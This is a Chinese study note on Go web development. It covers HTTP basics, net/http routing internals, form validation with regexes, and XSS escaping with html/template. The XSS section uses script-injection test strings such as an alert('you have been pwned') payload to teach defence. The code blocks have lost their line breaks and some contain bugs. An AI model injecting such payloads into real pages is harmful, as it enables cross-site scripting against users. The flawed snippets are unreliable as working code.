Go语言web开发学习
[TOC]
Go語(yǔ)言web開發(fā)學(xué)習(xí)
寫的比較早, 當(dāng)時(shí)的理解可能不到位,有不對(duì)的地方,請(qǐng)?jiān)u論告知.
主要是看的<go web編程>這本書
項(xiàng)目代碼在這里
部分內(nèi)容和我的另一個(gè)筆記<Golang學(xué)習(xí)筆記>有點(diǎn)重合,就當(dāng)復(fù)習(xí)了.
基本上沒有什么難度,主要內(nèi)容就是些WEB方面老生常談的東西:
- http協(xié)議
- web服務(wù)
- 表單處理
- 數(shù)據(jù)庫(kù)操作
- session處理
- 文本文件處理
- 安全和加密處理
- 國(guó)際化和本地化處理
- 錯(cuò)誤處理,調(diào)試和測(cè)試
- 項(xiàng)目部署和項(xiàng)目維護(hù)
- 設(shè)計(jì)一個(gè)簡(jiǎn)單的web框架
web基礎(chǔ)
http協(xié)議簡(jiǎn)單介紹
這個(gè)東西沒什么好說(shuō)的,不了解話可以看一下<http權(quán)威指南>這本書,這里就記錄幾個(gè)常用的說(shuō)明.
URL和DNS解析
scheme://host[:port#]/path/.../[?query-string][#anchor]
- scheme 指定請(qǐng)求協(xié)議,例如http,https,ftp等
- host http服務(wù)器的IP地址或域名
- port http服務(wù)器的端口號(hào),如果用的是80端口可以省略不寫
- path 訪問資源的路徑
- query-string 發(fā)送給http服務(wù)器的數(shù)據(jù)
- anchor 錨
書中寫的更詳細(xì)的DNS解析的過程如下，這個(gè)過程有助于我們理解DNS的工作模式
http請(qǐng)求包(瀏覽器信息)
構(gòu), Request包分為3部分，第一部分叫Request line（請(qǐng)求行）, 第二部分叫 Request header（請(qǐng)求頭）,第三部分是body（主體）。header和body之間有個(gè)空行，請(qǐng)求包的例子所示:
GET /domains/example/ HTTP/1.1 //請(qǐng)求行: 請(qǐng)求方法 請(qǐng)求URI HTTP協(xié)議/協(xié)議版本 Host：www.iana.org //服務(wù)端的主機(jī)名 User-Agent：Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/2 2.0.1229.94 Safari/537.4 //瀏覽器信息 Accept：text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 //客戶端能接收 的mine Accept-Encoding：gzip,deflate,sdch //是否支持流壓縮 Accept-Charset：UTF-8,*;q=0.5 //客戶端字符編碼集 //空行,用于分割請(qǐng)求頭和消息體 //消息體,請(qǐng)求資源參數(shù),例如POST傳遞的參數(shù)Http響應(yīng)包（服務(wù)器信息
Response包中的第一行叫做狀態(tài)行，由HTTP協(xié)議版本號(hào)， 狀態(tài)碼， 狀態(tài)消息 三部分組成。
HTTP/1.1 200 OK //狀態(tài)行 Server: nginx/1.0.8 //服務(wù)器使用的WEB軟件名及版本 Date:Date: Tue, 30 Oct 2012 04:14:25 GMT //發(fā)送時(shí)間 Content-Type: text/html //服務(wù)器發(fā)送信息的類型 Transfer-Encoding: chunked //表示發(fā)送HTTP包是分段發(fā)的 Connection: keep-alive //保持連接狀態(tài) Content-Length: 90 //主體內(nèi)容長(zhǎng)度 //空行 用來(lái)分割消息頭和主體 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"... //消息體狀態(tài)碼用來(lái)告訴HTTP客戶端,HTTP服務(wù)器是否產(chǎn)生了預(yù)期的Response。
HTTP/1.1協(xié)議中定義了5類狀態(tài)碼， 狀態(tài)碼由三位數(shù)字組成，第一個(gè)數(shù)字定義了響應(yīng)的類別
- 1XX 提示信息 - 表示請(qǐng)求已被成功接收，繼續(xù)處理
- 2XX 成功 - 表示請(qǐng)求已被成功接收，理解，接受
- 3XX 重定向 - 要完成請(qǐng)求必須進(jìn)行更進(jìn)一步的處理
- 4XX 客戶端錯(cuò)誤 - 請(qǐng)求有語(yǔ)法錯(cuò)誤或請(qǐng)求無(wú)法實(shí)現(xiàn)
- 5XX 服務(wù)器端錯(cuò)誤 - 服務(wù)器未能實(shí)現(xiàn)合法的請(qǐng)求
http協(xié)議是無(wú)狀態(tài)的和Connection: keep-alive的區(qū)別
-
無(wú)狀態(tài)是指協(xié)議對(duì)于事務(wù)處理沒有記憶能力，服務(wù)器不知道客戶端是什么狀態(tài)。從另一方面講，打開一個(gè) 服務(wù)器上的網(wǎng)頁(yè)和你之前打開這個(gè)服務(wù)器上的網(wǎng)頁(yè)之間沒有任何聯(lián)系。
-
HTTP是一個(gè)無(wú)狀態(tài)的面向連接的協(xié)議，無(wú)狀態(tài)不代表HTTP不能保持TCP連接，更不能代表HTTP使用的是UDP協(xié)議（面對(duì)無(wú)連接）。
-
從HTTP/1.1起，默認(rèn)都開啟了Keep-Alive保持連接特性，簡(jiǎn)單地說(shuō)，當(dāng)一個(gè)網(wǎng)頁(yè)打開完成后，客戶端和服務(wù)器之間用于傳輸HTTP數(shù)據(jù)的TCP連接不會(huì)關(guān)閉，如果客戶端再次訪問這個(gè)服務(wù)器上的網(wǎng)頁(yè)，會(huì)繼續(xù)使用這一條已經(jīng)建立的TCP連接。
-
Keep-Alive不會(huì)永久保持連接，它有一個(gè)保持時(shí)間，可以在不同服務(wù)器軟件（如Apache）中設(shè)置這個(gè)時(shí) 間。
go搭建一個(gè)web服務(wù)器(用net/http包)
請(qǐng)求URL: http://localhost:999/?name=nihao&age=20
package mainimport ("fmt""github.com/gpmgo/gopm/modules/log""net/http""strings" )//這兩個(gè)參數(shù)w和r,不用刻意追求為什么這么寫,因?yàn)橥饷娴膆ttp.HandleFunc需要傳入的一個(gè)回調(diào)函數(shù) func sayHelloName(w http.ResponseWriter, r *http.Request) {r.ParseForm() //解析參數(shù),默認(rèn)是不會(huì)解析的,如果不調(diào)用該函數(shù)解析的話,后面的參數(shù)都會(huì)拿不到fmt.Println("path: ", r.URL.Path) //打印URL中的pathfmt.Println("scheme: ", r.URL.Scheme) //打印http請(qǐng)求中的協(xié)議部分fmt.Println(r.Form["name"]) //打印get參數(shù)中的name參數(shù)for k, v := range r.Form { //遍歷get參數(shù)表單,打印表單中的內(nèi)容fmt.Println("query-string-key: ", k)fmt.Println("query-string-val: ", strings.Join(v, ""))}fmt.Fprintf(w, "hellow fucker") //寫入到w的時(shí)輸出到客戶端 }func main() {http.HandleFunc("/", sayHelloName) //設(shè)置訪問的路由為/,并且調(diào)用回調(diào)函數(shù)err := http.ListenAndServe(":999", nil) //設(shè)置監(jiān)聽的端口if err != nil {log.Fatal("ListenAndService", err)} }Go的web運(yùn)行機(jī)制
語(yǔ)言服務(wù)器概念
- Request: 用戶請(qǐng)求信息,用來(lái)解析用戶的請(qǐng)求信息,包括post,get,cookie,URL等信息
- Response: 服務(wù)器需要反饋給客戶端的信息
- Conn: 用戶的每次請(qǐng)求鏈接
- Handler: 處理請(qǐng)求和生成返回信息的處理邏輯
go的http運(yùn)行機(jī)制
下圖是,go實(shí)現(xiàn)web服務(wù)的工作模式的流程圖
上圖http包執(zhí)行流程
這整個(gè)的過程里面我們只要知道下面三個(gè)問題,就知道go如何讓web運(yùn)行起來(lái)了
- 如何監(jiān)聽端口
- 如何接收客戶端請(qǐng)求
- 如何分配handler
前面我們知道go是通過一個(gè)函數(shù)ListenAndServer來(lái)處理這件事的,這個(gè)底層是這樣處理的:
初始化一個(gè)server對(duì)象,然后調(diào)用了net.Listen("tcp", addr),也就是底層用TCP協(xié)議搭建一個(gè)服務(wù),然后監(jiān)控我們?cè)O(shè)置的端口
下面代碼來(lái)自go的http包的源碼,通過下面的代碼我們可以看到整個(gè)http處理過程
//上面代碼執(zhí)行監(jiān)控端口之后，調(diào)用了srv.Serve(net.Listener)函數(shù),該函數(shù)專門用來(lái)處理客戶端的請(qǐng)求信息 func (srv *Server) Serve(l net.Listener) error {defer l.Close()var tempDelay time.Duration // how long to sleep on accept failure//這里起了一個(gè)死循環(huán)for {//通過Listen來(lái)接收請(qǐng)求rw, e := l.Accept()if e != nil {if ne, ok := e.(net.Error); ok && ne.Temporary() {if tempDelay == 0 {tempDelay = 5 * time.Millisecond} else {tempDelay *= 2}if max := 1 * time.Second; tempDelay > max {tempDelay = max}log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay)time.Sleep(tempDelay)continue}return e}tempDelay = 0//創(chuàng)建一個(gè)Connc, err := srv.newConn(rw)if err != nil {continue}//在這個(gè)死循環(huán)中啟動(dòng)goroutine,吧這個(gè)請(qǐng)求的數(shù)據(jù)當(dāng)做參數(shù)傳給Conn//這就是高并發(fā)的提現(xiàn)了,用戶的每一次請(qǐng)求都是在一個(gè)新的goroutine去服務(wù),相互不影響go c.serve()} }具體如何分配到相應(yīng)的函數(shù)來(lái)處理請(qǐng)求:
conn首先會(huì)解析request:c.readRequest()然后獲取相應(yīng)的handler:handler :=c.server.Handler,也就是我們剛才在調(diào)用函數(shù)ListenAndServer的時(shí)候的第二個(gè)參數(shù).我們?cè)谇懊娴睦又袀鬟f的時(shí)nil.那么默認(rèn)獲取handler=DefaultServeMux.
這個(gè)變量就是一個(gè)路由,他用來(lái)匹配URL跳轉(zhuǎn)到其相應(yīng)的handle函數(shù),之前我們調(diào)用的代碼里面第一句http.HandleFunc("/", sayHelloName)就用過.
這個(gè)函數(shù)注冊(cè)了請(qǐng)求/的路由,當(dāng)請(qǐng)求URI為/,路由就會(huì)跳轉(zhuǎn)到函數(shù)sayHelloName(),DefaultServeMux會(huì)調(diào)用ServeHTTP方法同時(shí)把sayHelloName()作為回調(diào)傳入進(jìn)去,這個(gè)方法內(nèi)部就是調(diào)用的傳入進(jìn)來(lái)的函數(shù)sayHelloName(),最后通過寫入response的信息反饋到客戶端
詳細(xì)的流程圖如下
go的http包詳解
- 這里可能會(huì)趕緊自己看不懂,看不懂沒關(guān)系, 我已開始也開不動(dòng),學(xué)到頭再回過來(lái)看就趕緊很簡(jiǎn)單了.
這里我們?cè)敿?xì)解刨一下http包,看他是怎么實(shí)現(xiàn)整個(gè)過程的
go的http有兩個(gè)核心功能: Conn, ServeMux
Conn的goroutine
和我們一般寫的http服務(wù)有所不同,go為了實(shí)現(xiàn)高并發(fā)和高性能,采用goroutine來(lái)處理Conn的讀寫事件
這樣每個(gè)請(qǐng)求都能保持獨(dú)立,相互不會(huì)阻塞,可以高效的影響網(wǎng)絡(luò)事件.這就是go高效的保證
Go在等待客戶端請(qǐng)求里面是這么寫的:
c, err := srv.newConn(rw) if err != nil{continue } go c.serve()可以看到,客戶端每次請(qǐng)求,都會(huì)創(chuàng)建一個(gè)Conn,這個(gè)Conn里面保存了該次請(qǐng)求的信息,
然后再傳遞到對(duì)應(yīng)的handler,該handler中便可以讀寫到相應(yīng)的header信息,保證了每個(gè)請(qǐng)求的獨(dú)立性.
ServeMux的自定義
淺說(shuō)conn.server的時(shí)候,其實(shí)內(nèi)部是調(diào)用了http包默認(rèn)的路由,通過路由把本次請(qǐng)求的信息傳遞到了后端的處理函數(shù)
路由機(jī)構(gòu)如下:
type ServeMux struct{mu sync.RWMutex //鎖,由于請(qǐng)求設(shè)計(jì)到并發(fā)處理,因此這里需要一個(gè)鎖機(jī)制m map[string]muxEntry //路由規(guī)則,一個(gè)string對(duì)應(yīng)一個(gè)mux實(shí)體,這個(gè)string就是注冊(cè)的路由表達(dá)式hosts bool //是否在任意的規(guī)則中帶有host信息 }這里是muxEntry
type muxEntry struct{explicit bool //是否精準(zhǔn)匹配h Handler //這個(gè)路由表達(dá)式對(duì)應(yīng)哪個(gè)handle人pattern string //匹配字符 }這里是handler的定義
type Handler interface{ServeHTTP(ResponseWriter, *Request) //路由實(shí)現(xiàn)器 }Handler是一個(gè)接口,但是前面說(shuō)的sayHelloName()函數(shù)并沒有實(shí)現(xiàn)ServeHTTP這個(gè)接口,也能添加,是因?yàn)樵趆ttp包里面還定義了一個(gè)類型HanderFunc,我們定義的函數(shù)sayHelloName就是這個(gè)HandlerFunc調(diào)用之后的結(jié)果,這個(gè)類型默認(rèn)就實(shí)現(xiàn)了ServeHTTP這個(gè)接口,即我們調(diào)用了HandlerFUnc(f),強(qiáng)制類型轉(zhuǎn)換f成為HandlerFunc()類型,這樣f就擁有了ServeHTTP方法.
type HandlerFunc func(ResponseWriter, *Request)//ServeHTTP calls f(w,r) func(f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request){f(w, r) }默認(rèn)路由實(shí)現(xiàn)了ServeHTTP:
func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request){if r.RequestURI == "*"{//關(guān)閉連接w.Header().Set("Connection","close")w.WriterHeader(StatusBadRequest)return}h, _:=mux.Handler(r)h.ServeHTTP(w, r) }如上所示,路由接收到請(qǐng)求之后,如果是*就關(guān)閉連接,否則調(diào)用mux.Handler(r)返回對(duì)應(yīng)設(shè)置路由的處理Handler,然后執(zhí)行h.ServeHTTP(w,r)
也就是調(diào)用對(duì)應(yīng)路由的Handler的ServerHTTP接口,給mux.Handler(r)來(lái)處理,他會(huì)根據(jù)用戶請(qǐng)求的URL和路由里面存儲(chǔ)的map做匹配,當(dāng)匹配到之后返回存儲(chǔ)的Handler,調(diào)用這個(gè)Handler的ServeHTTP接口就可以執(zhí)行到相應(yīng)的函數(shù)
func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) {if r.Method != "CONNECT" {if p := cleanPath(r.URL.Path); p != r.URL.Path {_, pattern = mux.handler(r.Host, p)return RedirectHandler(p, StatusMovedPermanently), pattern}} return mux.handler(r.Host, r.URL.Path) }func (mux *ServeMux) handler(host, path string) (h Handler, pattern string) {mux.mu.RLock()defer mux.mu.RUnlock()// Host-specific pattern takes precedence over generic onesif mux.hosts {h, pattern = mux.match(host + path)}if h == nil {h, pattern = mux.match(path)}if h == nil {h, pattern = NotFoundHandler(), ""}return }通過上面的介紹,基本上能了解了路由過程,Go其實(shí)是支持實(shí)現(xiàn)的路由ListenAndServe的第二個(gè)參數(shù)就是用以配置外部路由器的,他是一個(gè)Handler接口,即外部路由只要實(shí)現(xiàn)了Handler接口就可以,我們可以在自己實(shí)現(xiàn)的路由器的ServeHTTP里面實(shí)現(xiàn)自定義路由功能
如下,我們自己實(shí)現(xiàn)了一個(gè)簡(jiǎn)單的路由器
package mainimport ("fmt""net/http" )//自定義類型 type MyMux struct { }//路由匹配方法,作為MyMux的方法,主要在下面?zhèn)魅牒瘮?shù)中,覆蓋系統(tǒng)的ServeHTTP用 func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {if r.URL.Path == "/" {SayHelloName(w, r)return}http.NotFound(w, r)return }//打印一串字符串 func SayHelloName(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, "Hello myroute") }func main() {//聲明該自定義類型,同時(shí)取到該類型的內(nèi)存地址mux := &MyMux{}//監(jiān)聽端口//將該類型,作為回調(diào)函數(shù)放入到方法中,相應(yīng)的MyMux類型的ServeHTTP方法也會(huì)被傳入進(jìn)去,或者說(shuō)是在http.ListenAndServe調(diào)用ServeHTTP方法時(shí)被調(diào)用//因?yàn)閔ttp類型里面也有一個(gè)ServeHTTP方法, 上面我們自己寫的ServeHTTP是為了,在這類傳入進(jìn)去,覆蓋系統(tǒng)的ServeHTTP方法http.ListenAndServe(":999", mux) }Go代碼的執(zhí)行流程
通過對(duì)http包的分析之后,梳理一下代碼執(zhí)行過程
- 首先調(diào)用了Http.HandleFunc 按順序做了3件事
- 其次調(diào)用http.ListenAndServe(":999",nil) 按順序做了幾件事
表單處理
沒錯(cuò)這里說(shuō)的表單指的就是HTML的<form></form>表單
處理表單提交的數(shù)據(jù)
靜態(tài)頁(yè)面,記得要放在項(xiàng)目的根目錄
<html> <head> <title></title> </head> <body> <form action="/login" method="post">用戶名:<input type="text" name="username">密碼:<input type="password" name="password"><input type="submit" value="登錄"> </form> </body> </html>go的web服務(wù)
package mainimport ("fmt""html/template""log""net/http""strings" )func sayHelloName(w http.ResponseWriter, r *http.Request) {r.ParseForm() //解析URL傳遞的參數(shù),對(duì)于POST則解析請(qǐng)求包的主圖,request body//注意,如果沒有調(diào)用parseform,方法,下面將無(wú)法獲取表單數(shù)據(jù)fmt.Println(r.Form) //打印提交的數(shù)據(jù), r.Form里面包含了所有請(qǐng)求的參數(shù)fmt.Println("path", r.URL.Path)fmt.Println("scheme", r.URL.Scheme)fmt.Println(r.Form["name"])for k, v := range r.Form {fmt.Println("key:", k)fmt.Println("value", strings.Join(v, ""))}//將數(shù)據(jù)打印到客戶端頁(yè)面fmt.Fprintf(w, "Hellow fucker") }func login(w http.ResponseWriter, r *http.Request) {fmt.Println("method", r.Method) //獲取請(qǐng)求的方法//判斷是否是GET請(qǐng)求if r.Method == "GET" {//這個(gè)應(yīng)該是讀取靜態(tài)頁(yè)面t, err := template.ParseFiles("login.gtpl")fmt.Println(err)//打印頁(yè)面內(nèi)容log.Println(t.Execute(w, nil))} else {r.ParseForm() //解析URL傳遞的參數(shù),對(duì)于POST則解析請(qǐng)求包的主圖,request body//請(qǐng)求的時(shí)登錄數(shù)據(jù), 所以執(zhí)行登錄的邏輯判斷//r.Form里面包含了所有請(qǐng)求的參數(shù)fmt.Println("username:", r.Form["username"])fmt.Println("password:", r.Form["password"])} }func main() {//調(diào)用設(shè)置路由,放置回調(diào)函數(shù)http.HandleFunc("/", sayHelloName) //設(shè)置訪問的路由http.HandleFunc("/login", login) //設(shè)置訪問的路由err := http.ListenAndServe(":999", nil) //設(shè)置監(jiān)聽的端口if err != nil {log.Fatal("listenAndServer:", err)} }上面的代碼,可看到,獲取請(qǐng)求方式是通過r.Method來(lái)完成的,這是個(gè)字符串類型的變量,返回GET,POST,PUT等method信息
login函數(shù)中我們根據(jù)r.Method來(lái)判斷是顯示登錄頁(yè)面還是處理登錄邏輯.用GET方式請(qǐng)求時(shí)顯示登錄界面,其他方式請(qǐng)求時(shí)則處理登錄邏輯.
r.Form里面包含了所有請(qǐng)求的參數(shù)，比如URL中query-string、POST的數(shù)據(jù)、PUT的數(shù)據(jù)，所以當(dāng)你在URL中的query-string字段和POST沖突時(shí)，會(huì)保存成一個(gè)slice，里面存儲(chǔ)了多個(gè)值，Go官方文檔中說(shuō)在接下來(lái)的版本里面將會(huì)把POST、GET這些數(shù)據(jù)分離開來(lái)。
request.Form是一個(gè)url.Values類型，里面存儲(chǔ)的是對(duì)應(yīng)的類似key=value的信息，下面展示了可以對(duì)form數(shù)據(jù)進(jìn)行的一些操作:
v := url.Values{} v.Set("name", "Ava") v.Add("friend", "Jess") v.Add("friend", "Sarah") v.Add("friend", "Zoe") // v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe" fmt.Println(v.Get("name")) fmt.Println(v.Get("friend")) fmt.Println(v["friend"])Tips: Request本身也提供了FormValue()函數(shù)來(lái)獲取用戶提交的參數(shù)。如r.Form["username"]也可寫成r.FormValue("username")。調(diào)用r.FormValue時(shí)會(huì)自動(dòng)調(diào)用r.ParseForm，所以不必提前調(diào)用。r.FormValue只會(huì)返回同名參數(shù)中的第一個(gè)，若參數(shù)不存在則返回空字符串。
驗(yàn)證表單提交的數(shù)據(jù)
必填字段
通過len()函數(shù)獲取調(diào)教數(shù)據(jù)的元素長(zhǎng)度來(lái)判斷
r.Form對(duì)不同類型的表單元素的留空有不同的處理方式,對(duì)空文本框,空文本區(qū)域以及上傳文件,元素的值為空值
而如果是未選中的復(fù)選框和單選按鈕,則根本不會(huì)再r.Form中產(chǎn)生相應(yīng)的條目.所以我們要通過r.Form.Get()來(lái)獲取值.因?yàn)槿绻侄尾淮嬖?通過該方式獲取的時(shí)空值
但是通過r.Form.Get()只能獲取單個(gè)的值,如果是map的值,則必須通過上面的方式來(lái)獲取
if len(r.Form["username"][0] ==0){//TODO }數(shù)字
如果我們要判斷正整數(shù), 那么我們要先轉(zhuǎn)化成int類型,然后在處理
getint,err := strconv.Atoi(r.Form.Get("age")) if err != nil{//轉(zhuǎn)換失敗 } //轉(zhuǎn)換成功,判斷數(shù)字大小等操作 if getint >100{//todo }使用正則判斷是不是數(shù)字
Go實(shí)現(xiàn)的正則是RE2，所有的字符都是UTF-8編碼的。
//如果正則未匹配到0-9的數(shù)字,m會(huì)返回一個(gè)false if m, _:= regexp.MatchString("^[0-9]+$", From.Get("age")); !m{return false }中文
對(duì)于中文可以使用unicode包提供的funcIs(rangeTab *RangeTable, r rune) bool來(lái)驗(yàn)證,也可以使用正則方式來(lái)驗(yàn)證,這里使用最簡(jiǎn)單的整的表達(dá)式
if m, _ := regexp.MatchString("^\\p{Han}+$", r.Form.Get("realname")); !m {return false }英文
if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m {return false }郵箱地址
if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m {fmt.Println("no") }else{fmt.Println("yes") }手機(jī)號(hào)
if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m {return false }下拉菜單
準(zhǔn)備一點(diǎn)select元素
<select name="fruit"> <option value="apple">apple</option> <option value="pear">pear</option> <option value="banana">banana</option> </select>驗(yàn)證方式
//定義一個(gè)事先準(zhǔn)備好的map,對(duì)應(yīng)下拉菜單 slice:=[]string{"apple","pear","banana"} //獲取調(diào)教到的下拉菜單數(shù)據(jù) v := r.Form.Get("fruit") //遍歷菜單,和事先定義好的map,做對(duì)比 for _, item := range slice {if item == v {return true} }return false單選按鈕
準(zhǔn)備兩個(gè)單元框
<input type="radio" name="gender" value="1">男 <input type="radio" name="gender" value="2">女驗(yàn)證方式
//定義一個(gè)事先準(zhǔn)備好的slice,對(duì)應(yīng)下拉菜單 slice:=[]string{"1","2"} //和驗(yàn)證下拉一樣,遍歷事先準(zhǔn)備好的數(shù)組,和提交內(nèi)容,一一做對(duì)比 for _, v := range slice {if v == r.Form.Get("gender") {return true} } return false復(fù)選框
準(zhǔn)備復(fù)選框
<input type="checkbox" name="interest" value="football">足球 <input type="checkbox" name="interest" value="basketball">籃球 <input type="checkbox" name="interest" value="tennis">網(wǎng)球驗(yàn)證復(fù)選框,比較繁瑣
func Slice_diff(slice1, slice2 []interface{}) (diffslice []interface{}) {for _, v := range slice1 {if !In_slice(v, slice2) {diffslice = append(diffslice, v)}}return }func In_slice(val interface{}, slice []interface{}) bool {for _, v := range slice {if v == val {return true}}return false }//驗(yàn)證復(fù)選框 func validate(){//準(zhǔn)備一個(gè)sliceslice:=[]string{"football","basketball","tennis"}//通過內(nèi)置函數(shù),直接對(duì)提交的數(shù)據(jù)和事先定義的slice做diff即可a:=Slice_diff(r.Form["interest"],slice)if a == nil{return true}return false }日期和時(shí)間
通過使用go的time包來(lái)做處理
//例如 ，用戶在日程表中安排8月份的第45天開會(huì) //一般我們都是用時(shí)間戳來(lái)做處理,只有輸出展示的時(shí)候才用時(shí)間格式 // //time.November 為11月,這里正常的輸出應(yīng)該是2009-11-10 23:00:00,但是下面.local()了一下,獲取的時(shí)當(dāng)?shù)貢r(shí)間 t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC) //折算成當(dāng)?shù)氐臅r(shí)間,獲取的時(shí)當(dāng)?shù)貢r(shí)間 fmt.Printf("Go launched at %s\n", t.Local())身份證號(hào)碼
//驗(yàn)證15位身份證，15位的是全部數(shù)字 if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard")); !m {return false }//驗(yàn)證18位身份證，18位前17位為數(shù)字，最后一位是校驗(yàn)位，可能為數(shù)字或字符X。 if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get("usercard")); !m {return false }簡(jiǎn)單的驗(yàn)證案例
package mainimport ("fmt""regexp""time" )//日期時(shí)間 func ValidateDate() {//func Date(year int, month Month, day, hour, min, sec, nsec int, loc *Location) Time {} // 返回指定時(shí)間//time.November 為11月,這里正常的輸出應(yīng)該是2009-11-10 23:00:00,但是下面.local()了一下,獲取的時(shí)當(dāng)?shù)貢r(shí)間t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)//折算成當(dāng)?shù)氐臅r(shí)間,獲取的時(shí)當(dāng)?shù)貢r(shí)間fmt.Printf(" %s\n", t.Local()) }//身份證 func ValidateIdCard(idCard string) bool {//驗(yàn)證15位身份證，15位的是全部數(shù)字//if m, _ := regexp.MatchString(`^(\d{15})$`, idCard); !m {// return false//}//驗(yàn)證18位身份證，18位前17位為數(shù)字，最后一位是校驗(yàn)位，可能為數(shù)字或字符X。if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, idCard); !m {return false}return true }//電子郵件地址 func validateEmail(email string) bool {if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, email); !m {return false} else {return true} }func main() {ValidateDate()println(ValidateIdCard("111111111111111111"))println(validateEmail("nihao@nihao.com"))}預(yù)防XSS跨站腳本攻擊
對(duì)于XSS的防護(hù)主要是兩個(gè)方法
- 驗(yàn)證所有輸入,檢測(cè)攻擊數(shù)據(jù).
- 對(duì)輸出信息進(jìn)行適當(dāng)?shù)奶幚?防止被注入的腳本在瀏覽器運(yùn)行
在GO里面,有現(xiàn)成的包可以做處理html/template包里面的幾個(gè)函數(shù)可以幫我們轉(zhuǎn)義
經(jīng)過我的測(cè)試發(fā)現(xiàn),下面的三個(gè)函數(shù)都是用來(lái)過濾HTML標(biāo)簽的
- func HTMLEscape(w io.Writer, b []type)//把b轉(zhuǎn)義之后寫到w
- func HTMLEscapeString(s string) string //轉(zhuǎn)義s之后返回結(jié)果字符串
- func HTMLEscaper(args ...interface{}) string //支持多個(gè)參數(shù)一起轉(zhuǎn)義,返回結(jié)果字符串
轉(zhuǎn)義案例
如果我們輸入的username是<script>alert()</script>,那么我們可以在瀏覽器上面看到結(jié)果正常打印在頁(yè)面上,而不是運(yùn)行一個(gè)彈窗出來(lái)
//這些代碼需要在,HTTP服務(wù)中運(yùn)行,尤其是下面template.HTMLEscape的w變量就是http.ResponseWriter //講轉(zhuǎn)義結(jié)果,保存到服務(wù)器端 fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))//講轉(zhuǎn)義結(jié)果,輸出到客戶端 template.HTMLEscape(w, []byte(r.Form.Get("username")))//頁(yè)面輸出結(jié)果 //<script>alert(111)</script>代碼案例
func validateXss(w http.ResponseWriter,r *http.Request) {var xssStr string = "<script>alert(111)</script>"fmt.Println("username:", template.HTMLEscapeString(xssStr)) //輸出到服務(wù)器端fmt.Println("password:", template.HTMLEscapeString(xssStr))template.HTMLEscape(w, []byte(xssStr)) //直接輸出到客戶端瀏覽器頁(yè)面//頁(yè)面輸出結(jié)果 //<script>alert(111)</script> }func main() {//ValidateDate()//println(ValidateIdCard("111111111111111111"))//println(validateEmail("nihao@nihao.com"))//調(diào)用設(shè)置路由,放置回調(diào)函數(shù)http.HandleFunc("/", validateXss) //設(shè)置訪問的路由err := http.ListenAndServe(":999", nil) //設(shè)置監(jiān)聽的端口if err != nil {log.Fatal("listenAndServer:", err)} }正常顯示HTML標(biāo)簽 主要使用 template模板
常用方法
// 初始化一個(gè)template對(duì)象 type Template struct {Tree *parse.Tree } // Must函數(shù)會(huì)在Parse返回err不為nil時(shí)，調(diào)用panic，不需要初始化后再調(diào)用Parse方法去檢測(cè) func Must(t *Template,err error) *Template // New函數(shù)用來(lái)創(chuàng)建一個(gè)指定的HTML模板 func New(name string) *Template// ParseFiles函數(shù)用來(lái)從一個(gè)指定的文件中創(chuàng)建并解析模板 func ParseFiles(filenames ...string) (*Template, error)// ParseGlob函數(shù)從指定的匹配文件中創(chuàng)建并解析模板，必須得至少匹配一個(gè)文件 func ParseGlob(pattern string) (*Template, error)// Template結(jié)構(gòu)體對(duì)象常用的幾個(gè)方法// 使用New()函數(shù)創(chuàng)建的模板需要指定模板內(nèi)容 func (t *Template) Parse(text string) (*Template, error)// Delims()方法用來(lái)指定分隔符來(lái)分割字符串，隨后會(huì)使用Parse, ParseFiles, or ParseGlob方法進(jìn)行模板內(nèi)容解析 func (t *Template) Delims(left, right string) *Template// Execute()方法用來(lái)把一個(gè)模板解析到指定的數(shù)據(jù)對(duì)象data中，并且寫入到輸出wr中。如果有任何錯(cuò)誤，就like停止，但如果是并行操作的話，有一些數(shù)據(jù)已經(jīng)被寫入了。因此，使用該方法一定要注意并發(fā)安全性 func (t *Template) Execute(wr io.Writer, data interface{}) error//同上,但是使用名為name的t關(guān)聯(lián)的模板產(chǎn)生輸出。 //因?yàn)槭褂?t.Execute() 無(wú)法找到要使用哪個(gè)加載過的模板進(jìn)行數(shù)據(jù)融合，而只有New()創(chuàng)建時(shí)才會(huì)指定一個(gè) t.Execute() 執(zhí)行時(shí)默認(rèn) func (t *Template) ExecuteTemplate(wr io.Writer, name string, data interface{}) errorhtml/template包幫我們過濾了HTML標(biāo)簽,如果想要HTML標(biāo)簽正常顯示<script>alert(111)</script>,可以使用text/template
例如:
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) if err != nil {panic(err) } //這里如果要接收變量的的話可以通過緩沖區(qū)的形式,或者把out改成os.Stdout var out = new(bytes.Buffer) //改成這樣也可以輸入到控制臺(tái),err = t.ExecuteTemplate(os.Stdout, err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>") println(out.String()) //期待輸出結(jié)果 //Hello, <script>alert('you have been pwned')</script>! //現(xiàn)實(shí)輸出結(jié)果 //Hello, <script>alert('you have been pwned')</script>! //雖然書上的這個(gè)案例不對(duì),但是,,,找到了思路或者使用template.HTML類型
